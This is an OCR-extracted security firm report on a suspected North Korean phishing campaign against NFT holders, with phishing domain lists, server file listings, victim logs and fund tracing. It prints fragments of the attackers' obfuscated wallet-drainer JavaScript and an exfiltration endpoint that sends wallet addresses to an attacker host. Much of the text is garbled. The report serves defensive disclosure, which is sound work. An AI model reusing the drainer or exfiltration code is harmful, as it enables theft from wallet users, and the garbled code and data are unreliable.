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Background

On September 2, the SlowMist security team discovered that suspected APT groups were conducting large-scale
phishing activities targeting NFT users in the encryption ecosystem, and released the “How Scammers Are Paying
Nothing for Your NFTs”.

On September 4, Twitter user PhantomXSec tweeted that the North Korean APT group were responsible for
crypto and NFT phishing campaigns targeting dozens of ETH and SOL projects.
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Phantom X
@PhantomXSec

North Korean APT group responsible for crypto and
NFT phishing campaign spanning over 190 domains

Targeting dozens of SETH and $SOL projects.

Uses collections on NFT marketplaces to lure victims
to malicious minting sites.

https://twitter.com/PhantomXSec/status/1566219671057371136

PhantomXsec provided information on 196 phishing domain names that were linked to North Korean hackers

after a thorough analysis. The list of specific domain names is as follows:

DPRK NFT Phishing Campaign found by @phantomxsec

A GUEST SEP 3RD, 2022 215 0 NEVER ADD COMMENT

text 3.32 KB | None | ¢h0 K]0

@@3errornotice.com
linameelionwatch.org
linameelionwatch.space
8bitwolves.com
adventureland. fun
alertnfts.org
alienfrens.in
angelsdevilsnft.in
angelsofaether.online
angrybirds. fun
apekids. fun
apelist.tech
ascendednft.site
atsnft.in

aweth.io

https://pastebin.com/UV9pIN2M

The SlowMist security team noticed the incident and immediately followed up with an in-depth analysis.

By the way, the same North Korean cyber actors responsible for the massive Naver phishing campaign first

documented by @prevailion are also behind this campaign.

Page 2 of 20


https://twitter.com/PhantomXSec/status/1566219671057371136
https://pastebin.com/UV9pJN2M
https://twitter.com/IM_23pds/status/1566258373284093952
https://www.prevailion.com/what-wicked-webs-we-unweave/
http://twitter.com/prevailion

https://slowmist.medium.com /slowmist-our-in-depth-investigation-of-north-korean-apts-large-scale-phishing-attack-on-nft-users-362117600519

For confidentiality and privacy reasons, this article only analyzed a small portion of the NFT phishing materials
and extracted some phishing characteristics of the North Korean hackers. However, this is just the tip of the

iceberg.

Press enter or click to view image in full size

Analysis of Phishing Websites

Upon further investigation, we found that one of the techniques used in this phishing attack involved creating fake
NFT-related decoy websites with malicious Mints. These NFTs were sold on platforms such as OpenSea, X2Y?2,
and Rarible. The North Korean APT group targeted Crypto and NFT users with a phishing campaign using nearly

500 different domain names.

By checking the registration information of these domain names, we found that the earliest registration date was

traced back to 7 months ago.
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Live information

Google Safe Browsing: @
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At the same time, we also found some unique phishing traits commonly used by North Korean hackers:

Trait 1: Phishing websites will record visitor data and save it to external sites. The hacker records visitors’
information to an external domain through an HTTP GET request. Although the domain names sending the
request are different, the API interface of the request is “/postAddr.php”. The general format is
“https://nserva.live/postAddr.php?mmAddr=...[Metamask]...&accessTime=xxx&url=evil.site", where the
parameter mmAddr records the visitor’s wallet address, and accessTime records the visitor’s visit Time, url

records the phishing website link currently visited by the visitor.

Press enter or click to view image in full size
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Trait 2: The phishing website will request an NFT item price list , usually the HTTP request path is
“getPriceData.php™:

Press enter or click to view image in full size

Response
Pretty Raw

1 HTTP/1.1 280 0K
Date: Thu, 22
L/1.1.1c PHP/7.3.

_unnertlon'
Content-Type
Content-Lengt

Sec—Fetch-Site: ¢ L
B Sec—Fetch-Mod ) Ed"r{ﬂ"4795‘144544

LHFLtih-DP t: o« . 16 "8xb47e3cd837dd

Accept-Language
Connection: close

aeed reSEbEEEl‘JSler 34b99f3acbdl
fAbb24caaf@3e9f2f0497ad287fdfO56

Trait 3: There is a file “imgSrc.js” linking images to the target project , which contains a list of target sites and the
hosting location of the image files used on their corresponding phishing sites. This file may be part of the phishing

site template.

Press enter or click to view image in full size
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filename:"fimgSrcjs” Qsearch X @Help

[Search results (100220

& UuRL Age Size & IPs ™ &
0O  wwwwww.tritonpass.org/ 3@ 14hours 2MB 22 g 3 I+
0O  wwwwww.onpodx.net/ 3 14hours 2MB 22 g 3 I
0O  www.mstable.net/ & 17hours 1MB 29 g 38
@ theopensdao.com/ m 17 hours 3MB 16 7 3 K4
& doguinu.net/ [ Pubiic JEEEEY 2MB 12 8 5 &4
& get-protocolxyz/ N iday 2MB 21 8 3 &
@ mutantdao.co/ 0 2days 10 MEB 34 g8 5 &
@ mutantdac.cos O 2days 10 MEB 34 g 5 E#4
0O trueusd.app/ A 2days 1MB 22 10 4 4
0O mstable.net/ O 2days 1MB 29 9 a3 B
0O mstablenet/ O 2days 1MB 29 g 3 =
& ushilives 3 3days IMBE 21 7 3 EA
B collinsmusicfun/ m 3days 7MB 58 10 3 I+l

Further analysis found that the main domain name used by APT to monitor user requests is “thedoodles.site”,

which was mainly used to record user data in the early days of APT activities:

Press enter or click to view image in full size

Domain & IP information

IP/ASNS IP Detail Domains Domain Tree Links Certs Frames
- Domain - Requested by
43 www.boredsnakeclub.com boredsnakesclub.com
www.boredsnakeclub.com
20 boredsnakesclub.com boredsnakesclub.com

www.boredsnakeclub.com

5 unpkg.com boredsnakesclub.com
4 thedoodles site boredsnakesclub.com
thedoodles.site
3 fonts.gstatic.com fonts.googleapis.com
1 cdn.jsdelivr.net lub.cam
1 code.jguery.com boredsnakesclub.com
1 themta.site boredsnakesclub.com
1 cdnjs.cloudflare.com boredsnakesclub.com

The HTTPS certificate for this domain name was queried 7 months ago, indicating that the hacker organization

had already begun targeting NFT users at that time.
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Criteria Type: Common Name Match: = Search: ‘thedoodles.site'

Certificates crt.shiD  Logged At {r Mot Before Not After Issuer Name

7528356474
7528356201
7221398918
7221390730
6658029958

6655013265

2022-0912
2022-09-12
2022-07-29
2022-07-29
2022-05-03
2022-05-03

2022-09-12 2022-12-11 C=US, O=Let's Encrypt, CN=R3
2022-07-29 2022-10-27 C=US, O=Let's Encrypt, CN=R3
2022-07-29 2022-10-27 C=US, O=Let's Encrypt, CN=R3
2022-05-03 2022-08-01 C=US, D=Let's Encrypt, CN=R3
2022-05-03 2022-08-01 C=US, O=Let's Encrypt, CN=R3

Lastly, let’s see some of the phishing sites the hackers have deployed and operated:

The latest site pretended to be a project associated with the World Cup:

Press enter or click to view image in full size
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Domain & IP information
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5 k
5 I :
e i an sy Cup.oom
3 tothedky,
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3 feliv
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1
'

Seaned from DEEE

Screenshot

Welcome
To the Waorld Cup

16
=

Detected technologies
W Bootstrap
@ isDelive
Page Statistics

22 91 38 8 8

9 5 2500 5391 0

We continued to search for relevant website host information based on the relevant HTTPS certificate:

Press enter or click to view image in full size
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 571GEEERC 70 (xam5bmzetq.thelifeofclimb.com)
& OVH(16276) ¥ Quebec, Canada

21/FTP 22/58H &1 53/DNS 2 BOSHTTP 1110/POP3
143/IMAP B A43/HTTP 993/ IMAP 2222/55H = 3306/MYSQL
@10000/HTTP A 20000/HTTP

) services.http.response.body: ;"> =<img src="https:// maincontrol.in fresources/main.png” style="width:158p.

Z 164N 25 (random.spyhealthcare.in.net)
& OVH(16276) ¥ Quebec, Canada

21/FTP 22/SSH | 23/SMTP &1 53/DNS @ BO/HTTP
110/POP3 143/ IMAP @ 443/HTTP S87/SMTP 1993/IMAP
2222/55H = 3306/MYSQL @10000/HTTP @ 20000/HTTP

Oy services.hittp.response.body: fajax/libs/spin. js/4.1.8/spin.min.css™> <script type="text/javascript” src=.

- 101 16 (mx-pooll7.inversiontablesearch.com)

" LEASEWEB-USA-NYC (396362) ¢ MNew Jersey, United States
A 80/HTTP @ 443/HTTP = 3389/RDP
O services.ls.certificates.leafl_data.names: tothesky.in

O, services.tls.certificates leaf_data.subject.common_name: tothesky.in

. services tls.certificates.leaf_data.subject_dn: CN= tothesky.in

L s 222 (8qycrkyccy.thelifeofclimb.com)
& OVH(16276) ¥ Quebec, Canada
. services.tls.certificates.leaf_data.subject.email_address: root® tothesky.in

O services.tls.certificates. leaf_data.subject.common_name: tothesky.in

L 5 21 (0xpsbm60jg.thelifeofclimb.com)
O OVH(16276) ¢ Quebec, Canada

21/FTP 22/S8H 5] 53/DNS @ BOSHTTP 110/POP3
143/ IMAP @ A43/HTTP 1993/ IMAP -1995/POP3 2223/58H
= 3306/MYSQL @ 10000/HTTP @ 20000/HTTP

0. services tls certificates leaf_data subject.email_address: root@ tothesky.in

01 services tls.certificates leaf_data issueremail_address: root@ tothesky.in

= s 220 (xam5bmzetq.thelifeofclimb.com)
& OVH(16276) @ Quebec, Canada

21/FTP - 22f85H 4| 53/DNS @ B0/HTTP 110/POP3
143/ IMAF @ 443/HTTP =993/ IMAP 2222/58H = 3306/MYSQL
@ 10000/HTTP @ Z0000/HTTP

O services.tls.certificates leaf_data.issuer.common_name: tothesky.in

We found various attack scripts used by hackers and txt files with statistical information on victims in some host

addresses.
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%] additional.css 2022-10-10 11:47 2.0K

%) address txt 2022-12-20 0113 0
%] adverse txt 2022-12-22 03:39 14K
¥] approvetrxdatatxt  2022-12-2104:09 18K
%) block ip.txt 2022-12-21 07:02 4.5K
%] blockvisit.txt 2022-12-22 03:54 216
&) check.php 2022-11-22 03:58 3.K
®] clear.php 2022-10-13 18:38 185

engine module.js 2022-12-12 00:25 145K
m engine medule ape.js 2022-12-10 00:28 148K
[?) engine_module ejs  2022-12-10 00:28 143K
) engine_module limitjs 2022-11-15 05:59 141K
[?) engine_module lockjs 2022-10-3100:56 141K
|Z engine _module t.js 2022-12-0117:24 141K
engine_module testjs 2022-12-10 00:28 143K

7] engine_module unijs 2022-12-12 00:24 146K
¥ getPriceData.php 2022-10-10 11:47 151
@) imgSrc.js 2022-10-10 1112 74
) iplist.txt 2022-12-22 04:07 70K
%) postAddr.php 2022-10-23 17:57 3.1K

%] postSigData.php 2022-10-26 071:36 1.4K
%] postTrxHash.php 2022-10-10 20:44 11K

%) postVisit.ohp 2022-12-15 00:17 5.8K
(3 resources/ 2022-10-23 00:24 -
/%] sigData.txt 2022-12-20 00:57 8.9K
sigData_old.txt 2022-12-07 01:09 43K
[?) spin.umd.js 2022-10-10 10:59 7.3K
£ vendor/ 2022-10-23 00:24 -
&) visit.txt 2022-12-22 04:07 427

These files recorded the victim’s access records, authorizations, and uses of plug-in wallets:

Press enter or click to view image in full size
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th0 v E:

22:00:1% www.nftiffany.io/ipa=6 2 T_REJECT METRMAEK
3I-Z1 22400:30 s nftlffany.ie/Tpe=6 2 PC SERDY iT_REJECT HETAMASE
12-21 22:00:20 www.nfciffany.is/?pa=s FI SEAP: iT_REJECT METAMASE
12=21 22100021 www.nftiffany.iof?pn=6 2 PC SEAP IT_REJECT METAMASK
12-21 22:00:21 www.nftiffany.ic/?ps=6 2 PC SEAPY (T_REJECT METAMASE
12-21 2240020 wWw, nfElffany . i/ Tp0=6 2 PC SEAP IT_REJECT HETAMASE
12=21 22:00:21 www.nfeiffany.io/Ipa=g 2 PC SEAR IT_REJECT METAMASE
12=21 22:00:2) www.nfciffany.io/ips=6 @ PC SEAPY iT_REJECT HETAMAEK
12=21 22100022 www.nftiffany.io/ps=6 2 PC SEAPY IT_REJECT METAMASK
12-21 22:00:22 www.nftiffany.io/?pa=6 2 BC SEAPY IT_REJECT METAMASE
12-21 22:00:22 www.nftlifany.le/?pa=é 2 FC SEAFY iT_REJECT HMETRMASE
12-21 22:00:22 www.nfriffany.io/7ps=s 2 EC SEAP iT_HEJECT METAMASE
12-21 22400122 www.nftiffany.io/?pa=6 2 PBC SEAPI (T_REJECT METRMAZK
12-Z1 22:00:2F www.nfbiffany.io/Tpas=f 2 PC SEAPY iT_REJECT METRMASE
12-21 22:00:23 www.nfciffany.io/ipas=s 2 PC SEAW IT_REJECT METAMASE
12=21 22:00:23 www.nftiffany.io/?pn=6 2 FC SEAP: IT_REJECT METAMASK
12-21 22:00:23 www.nfeiffany.io/Ips=f 2 PC SEAPY IT_REJECT METRMASK
12-21 22:00:23 wwWw.nfclffany.io/pa=6 2 PC SEAR IT_REJECT HETAMASE
12-21 22:00:23 wwwoniciffony.io/?pa=é 2 PC SEAPs IT_REJECT HMETNMASE
12-21 22:00:23 www.nfeiffany.io/ps=6 2 PC SEAP! T_REJECT METRMASE
12=21 22:00:23 www.nftiffany.io/?ps=6 2 BC SEAP IT_REJECT METAMASK
1Z-Z1 22:00:24 www.nitlifany.io/Tpe=6 2 BC SENBY (T_REJECT METARHMAZE
12-Z1 F2:00:24 www.nftlffany.io/?ps=6 2 FC SEAP IT_REJECT HETRMASE
12=21 22:00:24 www.nfriffany.io/Ipass 2 FC SEAP! iT HEJECT METAMASH
12-21 22000124 www.nitiffany.io/?ps=6 2 PBC SEAPY (T_REJECT METAMAZK
12-21 22:00:35 wwonfciffany.io/Tpe=6 2 Pc SEAP IT_REJECT HETAMASE
12-21 22:00:26 wwWww.nfeiffany.io/?pAss 2 PC SEAP 1T _REJECT METAMASE
12=21 22:00:27 www.nftiffany.io/?pn=é 2 PC SENP¢ IT_REJECT HETRMASK
12=21 22000027 wwnw.nfriffany.io/?ps=6 2 PC SEAPY IT_REJECT METAMASK
12-21 22:00:51 www.nftiffany.io/Ipa=6 2 PC SEAF IT_REJECT METAMASE
12-21 22:00:52 www.nfblffany.io/?pa=6 2 PC SEAPs IT_REJECT HETAMASE
1221 22:00:52 wae.nfeiffany.io/7pa=é @ PC SENP! T_REJECT METAMASE
12=21 23107140 www.niftytailor.org/?ps=2 104 BC Ox63 (BIEBdEdIcIdI4SRESEARD0B0ST a1l . ) METAMASE
12-21 23:07:46 www.nifeyrailor.erg/Tpe=2 BC OxlF: (3e55f11Ee3Tfef 00l EFO40TCOAE2E & & | HETAMASE
12-21 23:19:51 www. holoframes.tach/7pa=l FC 0x1F 3055L11Ec37Lci000AlEFR40TCDSB2E & § HMETAMASE
12=21 23:24:53 www.nftiffany.io/?ps=d BC 0xlF !5055£11Fc3Tfof00chlEFO40TCD4E2E & 2 | METAMASK
12-21 23025146 www.nftiffany.ic/ipa=d PC Cx?% (3e4adB8a2I0d0adAFdEEI041al3 il « 2 | METAMASK
12-21 23:5%:13 chainsdrop.sys/ 26 PC Gxb2 1ZTI0TS45164Ae0FOPAFS4 LFAFREDS2S 5 © HETAMASE
12-22 04:40:28 nftiffany.io/ 1Bl BC Cx62. JZT10T54516ARc0FOPAFSALFAIREESZS 5 ¢ HETAMASE
12=22 04:40:38 mail.nfriffany.ie/ 181 PC G2 122107545 16dAROFOFAFSLIFALAGRE2S C 5 METAMASK
12-22 07:38:5% www.hashflows.fun/ B PC Oxb0 '3519E4b1a% 7 TEEDEA e DY JddachBE W 1 . HMETAMASE
12-22 11:16:57 weiw, holoframed ., tach/ Tpe=g 02 PC Cxel TERADTAY1RINGEETDI4DIDRACER0RC0: £ ¢ | HMETAMASY
12-3F 11:26:3% www, holeframes.tech/Tpa=8 B PC 0x1F 15e55011Ee37ici00eAlEFOR407COSE2E 3 | HMETAMASE
12=22 11:37:50 www.nifeyrailor.org/?ps=4 108 PC 0x07] 11DAE3dAIFedea0FFFTRE07401 11 3abl £ 3 | METAMASK
12-22 11156104 www. troublemaker. fun/ 2  mobile O0x37 le94e6lD0AddS@4ACdIFS]IeelSESOD: 11 METAMASK
12-22 11456522 www.troublesaker, fun/ 2 mobile Ox37 le%4e6lDGRddIE4RcdIF51IeclBESel: 01 | HETAMASE
1Z-22 15:06:47 weaw gdvede.orgl PC CxfF 6941bE60]6D0AEI10RS0ABFILIGSED] 1 | HETAMASE
12=22 15:09:31 www.givese.org/ PC OxiF 3694 1bf6w]l BDOMES 10BS04BFIbYRSED] 1 2 ¢ METAMASK
12=22 16002:15  www.noox. 47 & PC docld (BODG6 1097 7aliDTEAZTBOGGOCISIT4AL o} METAMASK
12-22 16:04:04 www.noox.£47 ] PC 0x0d. 1E0D61a977a31IDTRAZTIOGG0CE5ITAAL o 3 HMETAMASE
12-22 18:34:31 waw noox fif 1] BC Oxldl. IBODE1097 723 IDTRAZTRIGAOCASITAN. . )} METAMASK
12-22 20:39:08 www.holoframes.tech/?ps=8 i FC 027 | AaTSDOACELSeBEE154bI55E0B41E50E © METAMASKE
1222 21:10:16 www.chainsdrop.xyz/?ps=8 149.. . 244..60 PC Oxcad.4T2Cd209550e 0 AEabARAT SAERRDE2SE ~ 1 1 METAMASE

It was found that this information matched the visitor data collected by the phishing sites.
It also includes the victim’s approve record:

Press enter or click to view image in full size
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And sigData, among other sensitive data was also discovered, which will not be shown here for privacy reasons.

Get SlowMist’s stories in your inbox
Join Medium for free to get updates from this writer.

Remember me for faster sign in

Our analysis also revealed that there are NFT phishing site groups under the same IP of the host, with 372 NFT

phishing sites under a single IP:

Press enter or click to view image in full size
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As well as another 320 NFT phishing sites associated under a different IP address:
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==t 1:35e4320 % *  SoiL:Lmt Seen Dracendieg ¥ 25 fPage -
trevaee Fieat Laat

O A MGG A 3023-16-23 36231332
D Ireinrdnat Kyt 22098 A2
(s * beraibansnas space ELERTE] ELEEREEES
(W R S 20221009 0212
O seeneigaden b 2207 ELFERES
o weaw nngede ne 20221020 02242
o WS A ELFFR R w2
O A SN H22AL 02FAR
(] AW TR £ ) EL-FRERE] FLEFREETS
O onoybers arp F033-10.00 FLFFREET]
() BnEnananaLEAsE 20221009 porrRE S
O semin bennbaninsy ipKce FIEERET FLEEERET)
o alertrittn i 0224000 02212
D WG BT RANINAL KIS 221000 20221221
C e e PR LS 2RI
(] el Denstnenen spece ELEER L HRATI
o Ul e § £ 02200 pLrrEEET]
O ST BRI AR ELEFRERL 0229228
(w) weaezdmin Bensinananz: pece 0224009 0224220
(m] e L SO EL-ERLET) ELEFREETY
o enpodrrel 20221008 20221230
i Dpdirearatic e 221009 IR0
O vt Boagigananag apaTe 20331000 0321230
C ity Soase 032087 WITNEIT
o watsat e fum 032ALAT ELEEREEDY

Page 12 of 20



https://slowmist.medium.com /slowmist-our-in-depth-investigation-of-north-korean-apts-large-scale-phishing-attack-on-nft-users-36 2117600519

We even discovered a DeFi platform run by North Korean hackers.

Press enter or click to view image in full size
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Due to the sheer volume of information, we are unable to delve into every detail in this report.

Analysis of Phishing Methods

In combination with our previous article “How Scammers Are Paying Nothing for Your NFTs,” we analyzed the

core code of this phishing incident. Our investigation revealed that the hackers utilized multiple tokens, such as
WETH, USDC, DAI, and UNI, etc. in their phishing attacks.

Press enter or click to view image in full size

wethAddr = _@x200712(@x1ea),
usdcAddr = _8x200712(@x11f),
daiAddr = _@x2008712(0xf9),

uniAddr = _@x200712(@xec),
v3nftAddr = _@x200712(@x11d),
cryptoPunkAddr = * 7e3cd837ddfBedc57f@5d7@ab865d
zeroAddr = _8x200712(@x238),
seaportAddr = _0x280712(8x1d9),
conduitAddr = _@x200712(0x240),
payableAddr i E45 3054A19D8
signMultiple = @x5,

nftMultiple = @.8;

Web3Modal = window['Web3Modal'] [_@0x200712(8x17e)],
Wa ctPro window[_0x208712 x200712(8x17e)];
MORALISKEY = \'l
spenderAddr = '
destAddr

prov
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The following code is used to induce victims to perform more common phishing ‘Approve’ operations, such as
authorizing NFTs and ERC20 tokens:

Press enter or click to view image in full size

var _8x483561 = _0x86a9,
_Bx36db99 = new web3['eth'][(_8x4@3561(0x180))](tokenABI, _8x12elaf);
_Bx36db99 [_0x403561(0x250)] [_0x403561(@x1db)] (spenderAddr, !'![])[_@x46354
i _@xfaba76,
‘i _@x506ddc
F)['on'](_@x403561(8xf8), f (_@xb617bb) {
var _Bx372a6f = _0x483561;
if (_@xb617bb == null || _@xb617bb == '' || _@xb617bb == _0x372a6f (0>
_0x186248(![]1);
return;

$[_0x372a6f (8x149) ] ("httf tot in/postTrxHash. pl
F)['on'](_@x483561(ex1fd), funct (_@x1e428b) {
_Bx186248(!1[]);

erEth(_@x5e8fle, @x5854e9, 08X
romise((_8x483c@9, _Bx1lBeele) =:
r _Bx45alf8 a9,
_Bx413c6f = web3 [(_8xd5alf8(@x14d) )] [(_exd5a1f8(ex10@))](claimABI, payableAddr);
_0x413c6f[_0x45a1f8(0x250) ] [_dx45a1f8(8x24b)] () [_ex45a1f8
x5e8fle,
: _@x386bec,
: _@x585
[ AuAC21 £ 1 functinn [ Bx2c430e) {
(parameter) _@x2c43@e: any

null || _@x2c43Be == '' || has == _@x1lebB26(0x129)) {

) [ton']{ (
v _@xla8cdc
$[ @xlaBcdc(Bx149)](_@xla8cdc(®8x21b) + _@xlaBcdc(@x23a) + new Date() + _BxlaBcdc(Bxl7a) + w

In addition, the hackers also try to induce victims to perform Seaport and Permit signatures, as well as other

authorizing activities.

Press enter or click to view image in full size
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function signSeaport(_@xd4e@lba, _0x583ced, _0@x336015) {
_0x48bcd7 = _0x200712,
_Bx2eb33d = web3['eth'] [(_@x48bca7(8x10@) )] (seaportABI, seaportAddr),
_Bxleddd? = await _@x2eb33d[_0x48bcd7(0x250)] [_0x48bc47(0x14de)] (_Pxde@lba) [
_B@x25ecch = @x64,
_Bxbef138 = ax@,
_Bxdcd4d9 = axe;
or (var @x427b15 = @xB: @x427b15 < 0x583ce9| @x48bcd7(0x1f5)]; 0Ox427b15 +=
seaportMsg0bj [_8x48bc47(0x222)] = _@x4e@lba, seaportMsgObj|[’'offer'] = [], s
var _0x1112d5 = [];
_Bx1112d5['ERC2 = @x1, _@x1112d5[_Bx4Bbca7(0x1f2)] = 0x2, _0x1112d5[_0x4§
for (let _@x33a0d@ = _Bx427bl5; _@x33a8d@ < _Bx583ced[_8x48bc47(@x1f5)] &&
_Bx390bcl = _Bx583ced[_0x33a@de],
_Bx172e20 = _0x390bcl[_0x48bca7(0x13e)] == ur 7 _@x11i2ds([_@>
seaportMsg0bj [ @x48bc47(8x221)]1 [_@x48bcd7(0x1ed)]
Hhi ‘1 _@x172e28,
'"token': _@x390bcl[_0x48bcd7(0x245)] [_8x48bcda7(Bx1b3)
'identifierOrCriteria': _@x398bcl[_Px48bc47(@xee)l,
‘startAmount': _@x398bcl|_@x48bc47(0x20e)],
‘endAmount': _@x3908bcl[_@x48bcd7 (0x20e) ]
seaportMsg0bj [’ on'] [_@x48bc47(0x1ed)] {:-:'_f

[_0x48bca7(8x1b3)
Criteria': _@x39@bcl[_@x48bc47(8xee)],
tAmount': _@x39@bcl _ﬁx48bc4?{ﬁx2@e},4
'* _Bx390bcl|_ex48bc47(0x20e) ],
: destAddr

aaveMsgParams
"domain': [
'chainId': @x1,
i _0x200712(0x1a9),
e,
‘verifyingContract': '@

1 _@x200712(8x22b),
‘string'

Here’s a typical example of this type of signature, even though the domain name of the phishing website is not

actually ‘opensea.io’.
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B MetaMask Notification — O X

. Account1 (i) @ Ethereum Mainnet

Signature request

Seaport
https: fopensea.io
ox> D

Message

offerer: Ox9iEEEEEEEEEEEND -

L
offer:
L

itemType: 2

token: Ox%1F3114F8818ADe5046d0
?01a44982Dc5c020C99B

identifierOrCriteria: 8893

startAmount: 1

endAmount: 1 J

ﬁﬁﬁ!‘li‘lﬁrﬂ*‘lﬂﬂl

- -

£
[ CANCEL
https://twitter.com/evilcos/status/1603969894965317632

™

We also discovered that the remaining signature data matched the signature data of “Seaport” which the hacker

left on the host computer.

Press enter or click to view image in full size

Page 16 of 20


https://twitter.com/evilcos/status/1603969894965317632

https://slowmist.medium.com /slowmist-our-in-depth-investigation-of-north-korean-apts-large-scale-phishing-attack-on-nft-users-362117600519

o isigData_old.txt O & ]

[{ itemTypa©12, "token” 1 "0x9f902ble26Bd06dcéTEOETE62T654bB0R219e1dE”, "identifierOrCriteria™ 1" T585", "startAmount ™1 " 1", "endAmount "1 "17 },

{"itemType™12; "token” :"0x9f9b2b8e2 604064k TEOET6627654b8002] 921d6” ; "identifierOrCriteria™ "1726" , "starthmount™: 17, "ondAmount™ 1" 1%} 1}

{EDT)

Bx78413160541FCDILERDI A 3acIFGS454835F1654 BGEVGTIA0457096290669601235B823621605367633439E9798189316953B436ETETIGZS

{"signatura” " dxi

[{"itemType~:2, "token”: "0xfETe31492¢nf9291b02ce0deaad50d51d56d5ded™, "identifierdrCriteria® 1 "115°

ount®:1%, “endhmount®:=1°} ]} 4 Sat Oct 29 2022 17:16:33 GMT-0500 (Central Daylight Time)

Dx2b0d 3

{'siqnntum'l'ﬂx e fadolelast - 2 3 3 == < ¥ e 1

[{"itomType":2, "token" : "0x49cf6E5d440T022402023idodd2e05330ada28b", " identifiorOrCritoria™ : "5520", "starkAmount "+ "1, "endAmount " : *1" §,

{“icemTypa™:2, “token” : "0x3bI2922¢4520a8balc2efcld2al5i967Rdad5esd”™, " identifiororCritaria®: "3740% , "ptarthmount™ : “17, "andAmount™: " 1%},

{"itemType™:12, "token” " 0x3bf2922f4520albalc2efcldzal 5396 7Edad5edd”, " identifierOrCriteria™"1178", "starthoount™: "1", "endAmount™1" 1"},

{TitemType™12, "token " rT0x12632d6e) 1c6bbo0c5 3£ 3028 leabT505899a5dE5 " "identifierOrCriteria™ 31187, "startizount™ "1, "endAmount 1717},

{"itemTypo":2, "taken x12632d601 1ctbbclc53{302B8lead 150589905415, " identifier0rCrikeria®: "3117" , "starthsount™ : "1", "ondAmount*: " 1"},
*:12, "token”: *0x12632d6e11c6bbe0c53L 3a2Bleab1505899a5dE5", “identitierorCritoria® : "2210%, "starthnount s "1%, "ondAmount*: 1%},

{"itemType™11, "token” 1" 0xcl2aaaiib223feddladeScd £27oadd083c756cc2” " identifierorCriteria™ (0, "startimount™ 1 " L6750000000000" , "endimount”

2022 20:20:01 GMT-0700 (Pacific Daylight Time)

Ox2b04aT04 TSLFAIZaESCIbECS I IDDIBET 34D4IDIE Oxcld360217dEf TabseTe51656676 loal 2eoTi9di2

0

{Pacific Daylight Time)

OxDFeBFE20bbbE 2050415052081 5b5D8e1 0A2 39 TEF TASEZITII0IESIRI1TSTITITTA049E54394532044061T04TE559316028 775753960820

{“signatura®:*0y
[{ itemTypa©:2, "token” :"0x34d85cicdeb2IfalTeb08333b5 ]l lackéeloded5E™, "identifierOrCriteria® s "6T002", "startAmount " " 1", "endAmount™ s 17}

Since this type of signature request data can be “stored offline”, the hacker can transfer assets on-chain in batches

after obtaining a large amount of signature data from victims.
MistTrack analysis

After analyzing the phishing websites and methods, we chose one of the phishing addresses (0xCO0fd...e0ca) for

further analysis.

We observed that this address has been flagged as a high-risk phishing address by the MistTrack platform and has
a significant number of transactions. The hacker was able to receive a total of 1,055 NFTs and made off with a

profit of approximately 300 ETH through their sales.

Press enter or click to view image in full size
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Tracing the source of the funds for this address, we found that an initial 4.97 ETH was transferred from the
address (0x2e0a...DA82). Further investigation revealed that this address interacted with other addresses flagged
as risky by MistTrack. It was also shown that 5.7 ETH was transferred to FixedFloat.
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Let’s examine the initial source of funds for the address (0x2e0a...DA82), which currently has around 6.5 ETH.

The initial funds were sourced from a 1.433 ETH transfer from Binance.
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At the same time, this address also interacted with multiple risky addresses.

Press enter or click to view image in full size

+
Oxiad. 3¢50

+
Ox3db...3374T

+
Oxbc3.. e4874

+
Ox0a7.. .Beef2

+
(Oxdbd...8326a

+
0x081.cdabl?

Summary

=i
L

D1E

1.3593 ETH

0.0155 ETH

0.0155 ETH

0.0155ETH

0.0155 ETH

0.0155°ETH

0.0168 ETH

0.0155 ETH

0.0155ETH

0.0155 ETH

00168 ETH

o

Fake Phishing7067

0.4 ETH _
0x75d.. TadcB
0.4 ETH
; 0.4 ETH )
* 0x5¢7...80ab9
0-1ETH
080l 3da82. U E o
01702 ETH
Event: F;"‘hishing
44714 ETH

+

0x69a.. 25464

o

chainabuse scam reports

SlowMist advises users to strengthen their understanding of security knowledge and further enhance their ability

to identify phishing attacks in order to avoid falling victim to such attacks. For additional security information, we

recommend reading the “Blockchain Dark Forest Self-Help Handbook”.

During our tracking, we found that North Korean hackers and Eastern Europe seem to be cooperating to phishing

NFT users. What do you think?

Thanks to hip and ScamSniffer for their support.
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About SlowMist

SlowMist is a blockchain security firm dedicated to securing Web3’s future. Since our inception in 2018, we have
provided services such as security audits, security consultants, red teaming, and more. Our team has audited
thousands of crypto and DeFi projects, including major exchanges, wallets, individual smart contracts, DApps,

and blockchains.

Website: https://www.slowmist.com/

Twitter: https://twitter.com/SlowMist Team

Source: https://slowmist.medium.com/slowmist-our-in-depth-investigation-of-north-korean-apts-large-scale-phishing-attack-on-nft-users-3621

17600519
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